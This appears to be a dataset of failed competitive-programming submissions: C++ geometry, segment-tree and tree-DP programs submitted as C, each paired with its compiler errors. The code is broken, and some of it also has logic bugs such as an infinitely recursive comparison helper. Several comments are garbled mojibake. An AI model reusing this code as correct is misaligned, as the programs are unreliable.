i++) ta.Print(i); } return 0; }
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s213758860
p00000
C
#include <cstdio> #include <cstring> #include <cmath> #include <algorithm> #include <iostream> using namespace std; const double EPS = 1e-6; const double PI = acos(-1.0); const int MAXN = 55; int dcmp(double x) { if(dcmp(x)<EPS) return 0; return x<0? -1:1; } double sqr(double x) { return x*x; } struct Point{ double x,y; bool tp; int id; Point(){} Point(double a,double b):x(a),y(b){} Point operator +(const Point &a)const{return Point(x+a.x,y+a.y);} Point operator -(const Point &a)const{return Point(x-a.x,y-a.y);} Point operator *(double k) const{return Point(x*k,y*k);} bool operator <(const Point &a)const { return dcmp(x-a.x)<0||(dcmp(x-a.x)==0&&dcmp(y-a.y)<0); } bool operator ==(const Point &a)const { return dcmp(x-a.x)==0&&dcmp(y-a.y)==0; } Point trunc(double d) { double dist(Point ,Point); double len = dist(*this,Point(0,0)); return Point(x*d/len,y*d/len); } Point rotate(double a) { return Point(x*cos(a)-y*sin(a),y*cos(a)+x*sin(a)); } void input(){scanf("%lf%lf",&x,&y);} }; struct Circle{ Point o; double r; Circle(){} Circle(Point a,double b):o(a),r(b){} double area(){return sqr(r)*PI;} double len(double ang){return r*ang;} }; struct Tri{ Point p[3]; }; typedef Point Vector; double cross(Vector a,Vector b) { return a.x*b.y-a.y*b.x; } double cross(Point a,Point b,Point s) { double x1 = a.x-s.x,y1 = a.y-s.y; double x2 = b.x-s.x,y2 = b.y-s.y; return x1*y2-x2*y1; } double dot(Vector a,Vector b) { return a.x*b.x+a.y*b.y; } double length(Vector a) { return sqrt(dot(a,a)); } double dist(Point a,Point b) { return length(a-b); } double v_angle(Vector a,Vector b) { return acos(dot(a,b)/length(a)/length(b)); } int ConvexHull(Point *p,int n,Point *ch) { sort(p,p+n); n = unique(p,p+n)-p; int m = 0; for(int i = 0; i < n; i++) { while(m>1&&dcmp(cross(ch[m-1]-ch[m-2],p[i]-ch[m-2]))<=0) --m; ch[m++] = p[i]; } int k = m; for(int i = n-1; i>=0;i--) { while(m>k&&dcmp(cross(ch[m-1]-ch[m-2],p[i]-ch[m-2]))<=0) --m; ch[m++] = p[i]; } if(n>1) m--; return m; } void get_ocmt(Circle c1,Circle c2,Point &s1, Point &e1,Point &s2,Point &e2) { double l = dist(c1.o,c2.o); double d = fabs(c1.r-c2.r); double theta = acos(d/l); if(dcmp(c1.r-c2.r)>0) swap(c1,c2); Vector vec = c1.o-c2.o; vec = vec.trunc(c1.r); s1 = c1.o+vec.rotate(theta); s2 = c1.o+vec.rotate(-theta); vec = vec.trunc(c2.r); e1 = c2.o+vec.rotate(theta); e2 = c2.o+vec.rotate(-theta); } void get_pc(Circle c, Point p,Point &s1,Point &s2) { Vector u = c.o-p; double dist = length(u); double ang = asin(c.r/dist); s1 = u.rotate(-ang); s2 = u.rotate(ang); } int main() { int n,m,pn,chn; Circle c[MAXN]; Tri tri[MAXN]; Point p[55*55*55],ch[55*55*55]; while(scanf("%d%d",&n,&m)!=EOF) { for(int i = 0; i < n;i++) { c[i].o.input(); scanf("%lf",&c[i].r); } for(int i = 0; i < m; i++) for(int j = 0; j < 3; j++) tri[i].p[j].input(); pn = 0; for(int i = 0; i < n; i++) for(int j = i+1; j < n; j++) { get_ocmt(c[i],c[j],p[pn],p[pn+1],p[pn+2],p[pn+3]); p[pn].tp = 0,p[pn].id = i; p[pn+1].tp = 0,p[pn+1].id = i; p[pn+2].tp = 0,p[pn+2].id = j; p[pn+3].tp = 0,p[pn+3].id = j; pn+=4; } for(int i = 0; i < n; i++) for(int j = 0; j < m; j++) for(int k = 0; k <3; k++) { p[pn] = tri[j].p[k]; p[pn].tp = 1, p[pn].id = j; get_pc(c[i],tri[j].p[k],p[pn+1],p[pn+2]); p[pn+1].tp = 0,p[pn+1].id = i; p[pn+2].tp = 0,p[pn+2].id = i; pn+=3; } chn = ConvexHull(p,pn,ch); Point sta[10]; int top=0; double ans = 0; for(int i = 0; i < chn; i++) { sta[top++] = ch[i]; if(top>1) { ans+=length(sta[top-1]-sta[top-2]); if(sta[top-1].tp==sta[top-2].tp&&sta[top-1].id==sta[top-2].id) { if(sta[top-1].tp==0) { int tmp=sta[top-1].id; ans=ans+c[tmp].len(v_angle(sta[top-1]-c[tmp].o,sta[top-2]-c[tmp].o)); } top-=2; } } } printf("%.6f\n",ans); } return 0; }
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s050011113
p00000
C
#include<stdio.h> #include<string.h> #include<stdlib.h> #define N 10000 int count[N]; char s[N]; int main(void) { int tc; scanf("%d",&tc); while(tc--){ int ct=0,i=1,tag=0; char ch; while(scanf("%s",s)&&s[0]!='@') { if(i>ct) count[++ct]=strlen(s)+1+(ct==1)?0:1; printf("%s",s); if(ch!='\n') {if(tag) { for(k=strlen(s)+(i==1)?0:1;k<count[i];k++) putchar(' '); } else putchar(' ');} putchar(ch); i++; } return 0; }
main.c: In function 'main': main.c:22:15: error: 'k' undeclared (first use in this function) 22 | for(k=strlen(s)+(i==1)?0:1;k<count[i];k++) | ^ main.c:22:15: note: each undeclared identifier is reported only once for each function it appears in main.c:30:1: error: expected declaration or statement at end of input 30 | } | ^
s072942914
p00000
C
#include <cstdio> #include <cstring> #include <algorithm> using namespace std; #define LL long long #define defm int m=(l+r)>>1; #define lson l,m,pos<<1 #define rson m+1,r,pos<<1|1 const int MOD=10007; const int maxn=111111; int add[maxn<<2],mul[maxn<<2],cov[maxn<<2]; int sum[maxn<<2][3]; void updateFather(int pos) { for(int i=0;i<3;i++) sum[pos][i]=(sum[pos<<1][i]+sum[pos<<1|1][i])%MOD; } void build(int l,int r,int pos) { mul[pos]=1; if(l==r) return; defm; build(lson); build(rson); } void Add(int v,int amount,int pos) { sum[pos][2]=sum[pos][2]+(3*v*sum[pos][1])%MOD+(3*((v*v)%MOD)*sum[pos][0])%MOD+(((v*v)%MOD)*((v*amount)%MOD))%MOD; sum[pos][2]%=MOD; sum[pos][1]=sum[pos][1]+2*(v*sum[pos][0]%MOD)+(((v*v)%MOD)*amount)%MOD; sum[pos][1]%=MOD; sum[pos][0]=sum[pos][0]+(v*amount)%MOD; sum[pos][0]%=MOD; add[pos]=(add[pos]+v)%MOD; } void Mul(int v,int amount,int pos) { sum[pos][2]=(((v*v)%MOD)*((v*sum[pos][2])%MOD))%MOD; sum[pos][1]=(((v*v)%MOD)*sum[pos][1])%MOD;; sum[pos][0]=(v*sum[pos][0])%MOD; mul[pos]=(mul[pos]*v)%MOD; add[pos]=(add[pos]*v)%MOD; } void Cov(int v,int amount,int pos) { sum[pos][0]=(v*amount)%MOD; sum[pos][1]=(((v*v)%MOD)*amount)%MOD; sum[pos][2]=(((v*v)%MOD)*((v*amount)%MOD))%MOD; cov[pos]=v; mul[pos]=1; add[pos]=0; } void updateSon(int amount,int pos) { if(cov[pos]) { Cov(cov[pos],amount-amount/2,pos<<1); Cov(cov[pos],amount/2,pos<<1|1); cov[pos]=0; } if(mul[pos]!=1) { Mul(mul[pos],amount-amount/2,pos<<1); Mul(mul[pos],amount/2,pos<<1|1); mul[pos]=1; } if(add[pos]) { Add(add[pos],amount-amount/2,pos<<1); Add(add[pos],amount/2,pos<<1|1); add[pos]=0; } } void update(int L,int R,int op,int v,int l,int r,int pos) { if(L<=l && r<=R) { switch(op) { case 1: Add(v,r-l+1,pos);break; case 2: Mul(v,r-l+1,pos);break; case 3: Cov(v,r-l+1,pos);break; } return ; } updateSon(r-l+1,pos); defm; if(L<=m) update(L,R,op,v,lson); if(m<R) update(L,R,op,v,rson); updateFather(pos); } int query(int L,int R,int p,int l,int r,int pos) { if(L<=l && r<=R) return sum[pos][p]; updateSon(r-l+1,pos); defm; return ((L<=m?query(L,R,p,lson):0)+(m<R?query(L,R,p,rson):0))%MOD; } int main() { int n,m; while(~scanf("%d%d",&n,&m) && (n|m)) { memset(sum,0,sizeof(sum)); memset(add,0,sizeof(add)); memset(cov,0,sizeof(cov)); build(1,n,1); while(m--) { int a,b,c,d; scanf("%d%d%d%d",&a,&b,&c,&d); if(a==4) printf("%d\n",query(b,c,d-1,1,n,1)); else update(b,c,a,d,1,n,1); } } }
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s361267097
p00000
C
#include<stdio.h> #include<algorithm> #include<string.h> #include<string> #include<iostream> #include<vector> #define N 100010 #define INF 0x3f3f3f3f using namespace std; int dp[N][2]; struct Node { int to, v, id; Node(int to = 0, int v = 0, int it = 0) : to(to), v(v), id(id) { } }; vector<Node> tree[N]; void dfs1(int st, int f) { dp[st][0] = dp[st][1] = 0; for (int i = 0; i < (int) tree[st].size(); i++) { int to = tree[st][i].to; if (to == f) continue; dfs1(to, st); dp[st][1] = max(dp[to][0] + 1, dp[st][1]); if (dp[st][1] > dp[st][0]) { swap(dp[st][1], dp[st][0]); } } } void dfs2(int st, int f, int &ans_id, int &ans_min) { for (int i = 0; i < (int) tree[st].size(); i++) { int to = tree[st][i].to, v = tree[st][i].v, id = tree[st][i].id; if (to == f) continue; if (dp[to][0] + 1 == dp[st][0]) { if (ans_min > (dp[to][0] + dp[st][1] + 1) * v) { ans_min = (dp[to][0] + dp[st][1] + 1) * v; ans_id = id; } else if (ans_min == (dp[to][0] + dp[st][1] + 1) * v) { ans_id = min(id, ans_id); } } else { if (ans_min > (dp[to][0] + dp[st][0] + 1) * v) { ans_min = (dp[to][0] + dp[st][0] + 1) * v; ans_id = id; } else if (ans_min == (dp[to][0] + dp[st][0] + 1) * v) { ans_id = min(id, ans_id); } } if (dp[st][0] == dp[to][0] + 1) { dp[to][1] = max(dp[st][1] + 1, dp[to][1]); } else { dp[to][1] = max(dp[st][0] + 1, dp[to][1]); } if (dp[to][0] < dp[to][1]) { swap(dp[to][1], dp[to][0]); } dfs2(to, st, ans_id, ans_min); } } void init(int n) { for (int i = 1; i <= n; i++) { tree[i].clear(); } } int main() { int t, cas = 1; scanf(" %d", &t); while (t--) { int n; scanf(" %d", &n); init(n); for (int i = 1; i < n; i++) { int x, y, v; scanf(" %d %d %d", &x, &y, &v); tree[x].push_back(Node(y, v, i)); tree[y].push_back(Node(x, v, i)); } dfs1(1, -1); int ans_id = -1, ans_min = INF; dfs2(1, -1, ans_id, ans_min); printf("Case #%d: %d\n", cas++, ans_id); } return 0; }
main.c:2:9: fatal error: algorithm: No such file or directory 2 | #include<algorithm> | ^~~~~~~~~~~ compilation terminated.
s027516661
p00000
C
#include<iostream> #include<cstdio> #include<cstring> #include<cstdlib> #include<vector> using namespace std; const int maxn=410000; int lin[maxn],tlin[maxn]; int tnum=0,num; bool vis[maxn]; int head[maxn],next[maxn],g[maxn*2],val[maxn*2]; int te[maxn*2],e[maxn*2],id[maxn*2]; int len[maxn]; int recu[maxn],recv[maxn]; bool flag; bool islin[maxn],isedge[maxn*2]; int l[maxn],r[maxn]; void dfs(int u,int deep) { vis[u]=true; len[u]=deep; for(int i=head[u];i!=-1;i=next[i]) if(!vis[g[i]]) dfs(g[i],deep+1); } void find(int u,int t) { vis[u]=true; tnum++; tlin[tnum]=u; if(u==t) { for(int i=1;i<=tnum;i++) { lin[i]=tlin[i]; islin[lin[i]]=true; e[i]=te[i]; if(i>1) { isedge[e[i]]=true; isedge[e[i]^1]=true; } } num=tnum; flag=true; return; } for(int i=head[u];i!=-1;i=next[i]) if(!vis[g[i]]) { te[tnum+1]=i; find(g[i],t); if(flag)return; } tnum--; } int solve(int u) { vis[u]=true; int tmp=0; for(int i=head[u];i!=-1;i=next[i]) if(!vis[g[i]] && !isedge[i]) { tmp=max(tmp,solve(g[i]))+1; } return tmp; } int main() { int sec; scanf("%d",&sec); for(int z=1;z<=sec;z++) { int n; scanf("%d",&n); memset(next,-1,sizeof(next)); int tot=0; for(int i=1;i<n;i++) { int u,v,w; scanf("%d%d%d",&u,&v,&w); g[tot]=v;val[tot]=w;id[tot]=i;next[tot]=head[u];head[u]=tot++; g[tot]=u;val[tot]=w;id[tot]=i;next[tot]=head[v];head[v]=tot++; recu[i]=u; recv[i]=v; } memset(vis,false,sizeof(vis)); dfs(1,0); int s,t; int maxt=0; for(int i=1;i<=n;i++) if(len[i]>maxt) { maxt=len[i]; s=i; } memset(vis,false,sizeof(vis)); dfs(s,0); maxt=0; for(int i=1;i<=n;i++) if(len[i]>maxt) { maxt=len[i]; t=i; } //s,t flag=false; memset(vis,false,sizeof(vis)); memset(islin,false,sizeof(islin)); memset(isedge,false,sizeof(isedge)); tnum=0; find(s,t); //ok num lin islin[] l[0]=0; memset(vis,false,sizeof(vis)); for(int i=1;i<=num;i++) { int tmp=solve(lin[i]); l[i]=max(l[i-1],i-1+tmp); } r[num+1]=0; memset(vis,false,sizeof(vis)); for(int i=num;i>=1;i--) { int tmp=solve(lin[i]); r[i]=max(r[i+1],num-i+tmp); } //ans //road1 int ans=0,rec=0; for(int i=2;i<=num;i++) { int a=val[i]; int b=max(l[i-1],r[i]); if(a*b<ans) { ans=a*b; rec=id[i]; } else if(a*b==ans && id[i]<rec) { rec=id[i]; } } for(int i=1;i<n-1;i++) if(!isedge[i]) { int a=val[i]; int b=maxt; if(a*b<ans) { ans=a*b; rec=id[i]; } else if(a*b==ans && id[i]<rec) { rec=id[i]; } } printf("%d\n",rec); } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s393302299
p00000
C
#include <cstdio> #include <cstring> #include <iostream> #include <vector> #include <map> #include <algorithm> #include <queue> using namespace std; typedef long long ll ; const int MAXN = 2*(int)1e5 + 10 ; int n,L; vector<int> v ; int st[MAXN],ed[MAXN]; ll cost[MAXN] ; map<int,int> num ; vector< pair<int,int> > e[MAXN] ; bool visit[MAXN] ; ll d[MAXN] ; map< pair<int,int> > ray ; int pre[MAXN] , px[MAXN] ; int main(){ scanf("%d%d",&n,&L); v.push_back(0) ; v.push_back(L); for (int i=0;i<n;i++){ int t,p; scanf("%d%d%d%d",&st[i],&ed[i],&t,&p); ed[i]+=st[i]; st[i]-=p; cost[i] = t+p ; v.push_back(st[i]); v.push_back(ed[i]); } sort(v.begin() , v.end()) ; int N = 0 ; vector<int> list ; for (int i = 0 ; i < v.size() ; i++) if (i==0 || v[i]!=v[i-1]) num[v[i]] = N++ , list.push_back(v[i]); for (int i = 0 ; i < N-1 ; i++) { e[i].push_back(make_pair(-1,make_pair(i+1,list[i+1]-list[i]))); e[i+1].push_back(make_pair(-1,make_pair(i,list[i+1]-list[i]))); } for (int i=0;i<n;i++){ if (st[i]<0) continue ; e[num[st[i]]].push_back(make_pair(i+1,make_pair(num[ed[i]],cost[i]))); } priority_queue< pair<ll,int> > q ; for (int i = 0 ; i < N ; i++) d[i] = 1000000000LL*1000000000LL ; d[num[0]] = 0LL ; q.push(make_pair(0,num[0])) ; px[num[0]] = -1 ; while (!q.empty()){ int u = q.top().second ; q.pop() ; if (visit[u]) continue ; visit[u] = true ; for (int i = 0 ; i < e[u].size() ; i++){ int v = e[u][i].second.first ; if (visit[v]) continue ; if (d[v] > d[u] + e[u][i].second.second){ d[v] = d[u] + e[u][i].second.second ; px[v] = u ; pre[v] = e[u][i].first ; q.push(make_pair(-d[v],v)); } } } cout << d[num[L]] << endl ; int x = num[L] ; vector<int> res ; while (x!=-1){ if (px[x]==-1) break ; if (pre[x]!=-1) res.push_back(pre[x]) ; x=px[x] ; } sort(res.begin(),res.end()) ; printf("%d\n",res.size()) ; for (int i = 0 ; i < res.size() ; i++) printf("%d\n",res[i]); return 0 ; }
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s886267977
p00000
C
#include<cstdlib> #include<iostream> #include<cstdio> #include<queue> #include<cmath> #include<map> using namespace std; const int N = 10015; typedef double db; const db eps = 1e-8; int sign(db x){return (x>eps)-(x<-eps);} struct P{ db x,y; P(db a = 0.,db b = 0.):x(a),y(b){} P operator+(const P& a)const{return P(x+a.x,y+a.y);} P operator-(const P& a)const{return P(x-a.x,y-a.y);} db operator^(const P& a)const{return x*a.y-y*a.x;} P operator*(const db& k)const{return P(x*k,y*k);} db operator*(const P& a)const{return x*a.x+y*a.y;} db cross(P a,P b){ return (a-*this)^(b-*this); } db L(){return sqrt(x*x+y*y);} P T(){return P(y,-x);} db disLine(P l1,P l2){ return cross(l1,l2)/(l1-l2).L(); } bool operator<(const P& a)const{ if(sign(y-a.y)) return y < a.y; return x < a.x; } bool operator==(const P& a)const{ return !sign(x-a.x)&&!sign(y-a.y); } void out(){printf("(%.0lf,%.0lf)\n",x,y);} }pt[N],con[N],O,newCon[N]; struct Line{ P a,b; }le[N]; P ins(P l1,P l2,P l3,P l4){ db k = ((l1-l3)^(l3-l4))/((l1-l2)^(l3-l4)); return l1 + ((l2-l1)*k); } db S,R,dis[N],ver[N]; int tubao(int n){ if(n < 3) return 0; sort(pt,pt+n); //n = unique(pt,pt+n) - pt; con[0] = pt[0]; con[1] = pt[1]; int top = 1; for(int i = 2; i < n; i ++){ while(top>0&&con[top-1].cross(con[top],pt[i]) < eps) top --; con[++top] = pt[i]; } int tp = top; con[++top] = pt[n-2]; for(int i = n - 3; i >= 0; i --){ while(top>tp&&con[top-1].cross(con[top],pt[i]) < eps) top --; con[++top] = pt[i]; } return top; } db area(P ch[],int n){ db s = 0.; for(int i = 0; i < n; i ++){ s += (ch[i]^ch[i+1]); } return s*0.5; } db rot(P ch[],P ch2[],int n){ db ans = 0.; int ret; for(int p = 0,q = 1;p < n; p ++){ while(ch[p].cross(ch[p+1],ch2[q+1]) - ch[p].cross(ch[p+1],ch2[q]) > eps) q = (q+1)%n; ans = max(ans,max((ch[p]-ch2[q]).L(),(ch[p+1]-ch2[q+1]).L())); } return ans; } map<P,bool> mp; int main() { freopen("1004.in","w",stdout); srand(time(0)); int T = 100; int x ,y; while(T--) { int n = 4; printf("%d\n",n); mp.clear(); for(int i = 0; i < 2; i ++){ x = rand()%10,y = rand()%10; if(mp[P(x,y)]) i --; else mp[P(x,y)] = 1; pt[i] = P(x,y); } do{ x = rand()%10,y = rand()%10; pt[2] = P(x,y); }while(!sign(pt[0].cross(pt[1],pt[2]))); mp[pt[2]] = 1; for(int i = 3; i < n; i ++){ x = rand()%10,y = rand()%10; if(mp[P(x,y)]) i --; else mp[P(x,y)] = 1; pt[i] = P(x,y); } for(int i = 0; i < n; i ++) pt[i].out(); int tp = tubao(n); db s = area(con,tp),r = rot(con,con,tp); db S = (int)s + rand()%6 - 2; db R = (int)r + rand()%10 - 3; printf("%lf %lf\n\n",S,R); } } /* 4 (5,3) (4,4) (2,8) (7,9) 13.000000 11.000000 */
main.c:1:9: fatal error: cstdlib: No such file or directory 1 | #include<cstdlib> | ^~~~~~~~~ compilation terminated.
s975036924
p00000
C
#include<stdio.h> int main(void){ int m,n; for(m = 1; m < 10; ++m){ for(n = 1; n < 10; ++n){ printf("%dx%d=%d\n" ,m ,n ,m * n); } return 0; }
main.c: In function 'main': main.c:13:1: error: expected declaration or statement at end of input 13 | } | ^
s388308324
p00000
C
#include <iostream> #include <cstdio> #include <cstring> using namespace std; typedef long long LL; const LL mod=1000000007; typedef LL matrix[5][5]; LL pow_mod(LL a,LL n) { if(n==0) return 1; LL ans=pow_mod(a,n/2); ans=ans*ans%mod; if(n%2==1) ans=ans*a%mod; return ans; } void mat_mul(matrix A,matrix B,matrix res) { matrix C; memset(C,0,sizeof(C)); for(int i=0;i<5;i++) for(int j=0;j<5;j++) for(int k=0;k<5;k++) C[i][j]=(C[i][j]+A[i][k]*B[k][j]%mod)%mod; memcpy(res,C,sizeof(C)); } void mat_pow(matrix A,LL n,matrix res) { matrix r,a; memset(r,0,sizeof(r)); memcpy(a,A,sizeof(a)); for(int i=0;i<5;i++) r[i][i]=1; while(n) { if(n&1) mat_mul(r,a,r); n>>=1; mat_mul(a,a,a); } memcpy(res,r,sizeof(r)); } LL n,a0,AX,AY,b0,BX,BY; int main() { while(scanf("%lld",&n)!=EOF) { scanf("%lld%lld%lld%lld%lld%lld",&a0,&AX,&AY,&b0,&BX,&BY); if(n==0) { puts("0");continue; } a0%=mod;AX%=mod;AY%=mod;b0%=mod;BX%=mod;BY%=mod; //LL a1=((AX*a0%mod)+AY)%mod,b1=((BX*b0%mod)+BY)%mod; matrix A,B; memset(A,0,sizeof(A)); A[0][0]=1;A[0][1]=AX*BX%mod;A[0][2]=AX*BY%mod;A[0][3]=AY*BX%mod;A[0][4]=1; A[1][1]=AX*BX%mod;A[1][2]=AX*BY%mod;A[1][3]=AY*BX%mod; A[2][2]=AX;A[2][4]=pow_mod(BY,mod-2); A[3][3]=BX;A[3][4]=pow_mod(AY,mod-2); A[4][4]=1; mat_pow(A,n-1,B); LL ans=((B[0][0]*a0%mod)*b0%mod+(B[0][1]*a0%mod)*b0%mod)%mod; printf("%lld\n",ans); } return 0; }
main.c:1:10: fatal error: iostream: No such file or directory 1 | #include <iostream> | ^~~~~~~~~~ compilation terminated.
s389653449
p00000
C
#include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h> #define M 1000000007 int kkk=1; double a,b; __int64 sum=0; __int64 s1,s2,s3; __int64 n; __int64 power(__int64 a,__int64 p) { if(p==-1) return 1; __int64 r=a%M; __int64 k=1; while(p) { if(p&1) k=(k*r)%M; r=(r*r)%M; p>>=1; } return k%M; } int main() { double a0,a1,a2,b0,b1,b2,A,B; while(scanf("%I64d",&n)!=EOF) { scanf("%lf %lf %lf",&a0,&a1,&a2); scanf("%lf %lf %lf",&b0,&b1,&b2); sum=a0*b0; if(n==1) printf("%I64d\n",sum); else { a=a2/(a1-1);A=a1*b1; b=b2/(b1-1); s1=A*(1-power(A,n-1))/(1-A); s1=s1*(a0+a)*(b0+b); s1=s1%M; s2=b*(a0+a)*(a1*(1-power(a1,n-1))/(1-a1)); s3=a*(b0+b)*(b1*(1-power(b1,n-1))/(1-b1)); s2=s2%M;s3=s3%M; sum+=s1-s2-s3+a*b*(n-1); while(sum<0) sum+=M; sum=sum%M; printf("%I64d\n",sum); } sum=0; } return 0; }
main.c:8:1: error: unknown type name '__int64'; did you mean '__int64_t'? 8 | __int64 sum=0; | ^~~~~~~ | __int64_t main.c:9:1: error: unknown type name '__int64'; did you mean '__int64_t'? 9 | __int64 s1,s2,s3; | ^~~~~~~ | __int64_t main.c:10:1: error: unknown type name '__int64'; did you mean '__int64_t'? 10 | __int64 n; | ^~~~~~~ | __int64_t main.c:11:1: error: unknown type name '__int64'; did you mean '__int64_t'? 11 | __int64 power(__int64 a,__int64 p) | ^~~~~~~ | __int64_t main.c:11:15: error: unknown type name '__int64'; did you mean '__int64_t'? 11 | __int64 power(__int64 a,__int64 p) | ^~~~~~~ | __int64_t main.c:11:25: error: unknown type name '__int64'; did you mean '__int64_t'? 11 | __int64 power(__int64 a,__int64 p) | ^~~~~~~ | __int64_t main.c: In function 'main': main.c:39:21: error: implicit declaration of function 'power' [-Wimplicit-function-declaration] 39 | s1=A*(1-power(A,n-1))/(1-A); | ^~~~~
s726459405
p00000
C
#include<iostream> #include<stdio.h> #define xlson ch[x][0] #define xrson ch[x][1] using namespace std; const int N = 10010; struct LCT { int pre[N],ch[N][2]; int rv[N]; inline bool splay_root(int x){ return (ch[pre[x]][0]!=x&&ch[pre[x]][1]!=x); } inline void up_rev(int x){ swap(xlson,xrson); rv[x]^=1; } inline void push_up(int x){} inline void push_down(int x){ if(rv[x]){ if(xlson) up_rev(xlson); if(xrson) up_rev(xrson); rv[x]=0; } } inline void rotate(int x,int kind) { int y=pre[x]; push_down(y);///remember push_down(x); if(pre[y]&&!splay_root(y)) ///remember splay_root ch[pre[y]][ ch[pre[y]][1]==y ]=x; pre[x]=pre[y]; if(ch[x][kind]) pre[ch[x][kind]]=y; ch[y][!kind]=ch[x][kind]; pre[y]=x; ch[x][kind]=y; push_up(x); } inline void splay(int x) { push_down(x); while(!splay_root(x)) { int y=pre[x]; if(splay_root(y)) rotate(x,ch[y][1]!=x); else{ int kind=(ch[pre[y]][1]==y); if(ch[y][kind]==x) rotate(y,!kind),rotate(x,!kind); else rotate(x,kind),rotate(x,!kind); } } push_up(x); } inline void access(int x) { int y=x; x=0; while(y){ splay(y); ch[y][1]=x; x=y; y=pre[y]; } } inline void evert(int x)///蟆?蜿倅クコ譬第? { access(x); splay(x); up_rev(x); } inline int find(int x) { access(x); splay(x); while(ch[x][0]) { x=ch[x][0]; push_down(x); } return x; } inline void init(int n){ for(int x=0;x<=n;++x) pre[x]=xlson=xrson=rv[x]=0; } inline void link(int x,int y){ evert(x); pre[x]=y; } inline void cut(int x,int y){ evert(x); access(y); splay(y); pre[ch[y][0]]=0; ch[y][0]=0; } }lct; char s[100]; int main() { int n,m,a,b,type; while(scanf("%d",&n)!=-1) { lct.init(n+1); for(int i=1;i<=n;++i){ scanf("%d",&a); lct.link(a,min(i+a,n+1)); } for(int i=1;i<=m;++i) { scanf("%d%d",&type,&a); if(type==1) } } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s588692384
p00000
C
#include<iostream> #include<stdio.h> #include<string.h> #include<math.h> #include<algorithm> using namespace std; const double eps=1e-6;//邊セ蠎ヲ髯仙宛 const double inf=9999999999.0;//豁」譌?ゥキ struct node { double x,y; }; /*謚頑オョ轤ケp逧??霓ャ蛹紋クコ0,1謌?1 (邊セ蠎ヲ隶ィ隶コ)*/ int dblcmp(double a) { if(fabs(a)<eps) return 0; return a>0?1:-1; } /*轤ケ 轤ケ 霍晉ヲサ*/ double dis(node a,node b) { return sqrt((a.x-b.x)*(a.x-b.x)+(a.y-b.y)*(a.y-b.y)); } /*蜿臥ァッ霑千ョ?/ double mult(double x1,double y1,double x2,double y2) { return x1*y2-x2*y1; } /*隶。邂猶轤ケ蝨ィAB逧?キヲ萓ァ(螟ァ莠?)霑俶弍蜿ウ萓ァ?亥ー丈コ??会シ?P荳拶B逧?楴譌句?邉サ??/ double cross(node A,node B,node P) { return mult(B.x-A.x, B.y-A.y, P.x-A.x, P.y-A.y); } //轤ケ蛻ー逶エ郤ソ霍晉ヲサ double linedis(node p,node p1,node p2) { return fabs(cross(p,p1,p2))/dis(p1,p2); } //轤ケ蛻ー郤ソ谿オ霍晉ヲサ double segdis(node p,node p1,node p2) { node t=p; t.x+=p2.y-p1.y; t.y+=p1.x-p2.x; if(cross(p1,p,t)*cross(p2,p,t)>eps) return dis(p,p1)<dis(p,p2)?dis(p,p1):dis(p,p2); return fabs(cross(p,p1,p2))/dis(p1,p2); } /*轤ケ遘ッ霑千ョ?/ double dotdet(double x1,double y1,double x2,double y2) { return x1*x2+y1*y2; } /*隶。邂輸B荳拶C 髞占ァ?螟ァ莠?)霑俶弍 髓晁ァ抵シ亥ー丈コ?) 霑俶弍逶エ隗呈?A遲我コ撮謌泡遲我コ擦?育ュ我コ???/ double dot(node A,node B,node C) { return dotdet(B.x-A.x, B.y-A.y, C.x-A.x, C.y-A.y); } /*蛻、譁ュ a轤ケ 譏ッ??=0?牙凄(>0) 蝨ィ bc 闌?峩蜀?/ int betweencmp(node A,node B,node C) { return dblcmp(dot(A,B,C)); } //A轤ケ扈慕捩B轤ケ騾?慮髓域雷霓ャホク蠎ヲ蜷守噪菴咲スョ Point rotate(Point a,Point b,double sita) { double dx=a.x-b.x,dy=a.y-b.y; double px=dx*cos(sita)-dy*sin(sita)+b.x, py=dy*cos(sita)+dx*sin(sita)+b.y; return Point(px,py); } //荳ュ蝙らコソ line getMidLine( Point a, Point b) { Point mid = Point((a.x+b.x)*0.5,(a.y+b.y)*0.5); Point tp = b-a; return line(mid, mid+Point(-tp.y, tp.x)); } //荳、逶エ郤ソ莠、轤ケ, 蟷ウ陦梧?驥榊粋霑泌屓(inf,inf) Point intersect(Point a, Point b, Point l, Point r) { if(sgn(cross(a-b,l-r))==0) return Point(inf,inf); Point ret = a; double t = ((a.x - l.x) * (l.y - r.y) - (a.y - l.y) * (l.x - r.x)) / ((a.x - b.x) * (l.y - r.y) - (a.y - b.y) * (l.x - r.x)); ret.x += (b.x - a.x) * t; ret.y += (b.y - a.y) * t; return ret; } //轤ケ蝨ィ郤ソ谿オ荳?bool onseg(Point p,Point a,Point b) { if(sgn(dis(p,a)+dis(p,b)-dis(a,b))<=0) return 1; return 0; } //郤ソ谿オ莠、轤ケ?悟ケウ陦梧?驥榊粋謌紋ク咲嶌莠、霑泌屓??nf,inf??Point seg_cross(Point a,Point b,Point c,Point d) { Point ret=intersect(a,b,c,d); if(!onseg(ret,a,b)) ret=Point(inf,inf); return ret; } //荳、逶エ郤ソ蜈ウ邉サ?域園譛画ュ蜀オ??//judge=1荳?クェ莠、轤ケ?桂udge=2譌?焚荳ェ?桂udge=0豐。譛?double ansx,ansy; //莠、轤ケ int ins(node p1,node p2,node p3,node p4) { double a,b,c,a1,b1,c1; int judge; a=p1.y-p2.y; b=p2.x-p1.x; c=p2.y*p1.x-p1.y*p2.x; a1=p3.y-p4.y; b1=p4.x-p3.x; c1=p4.y*p3.x-p3.y*p4.x; if(fabs(a*b1-b*a1)<eps) { if(fabs(a*c1-a1*c)<eps&&fabs(b*c1-c*b1)<eps) { judge=2; return judge; } judge=0; return judge; } judge=1; ansx=double(b*c1-b1*c)/double(a*b1-b*a1); ansy=double(a*c1-a1*c)/double(a1*b-a*b1); return judge; } /*蛻、譁ュ逶エ郤ソAB縲∫コソ谿オCD譏ッ(1)蜷ヲ(0)逶ク莠、?郁ァ?激+髱櫁ァ?激??/ bool line_seg_crosscheck(node A,node B,node C,node D) { return (dblcmp(cross(A,B,C)) * 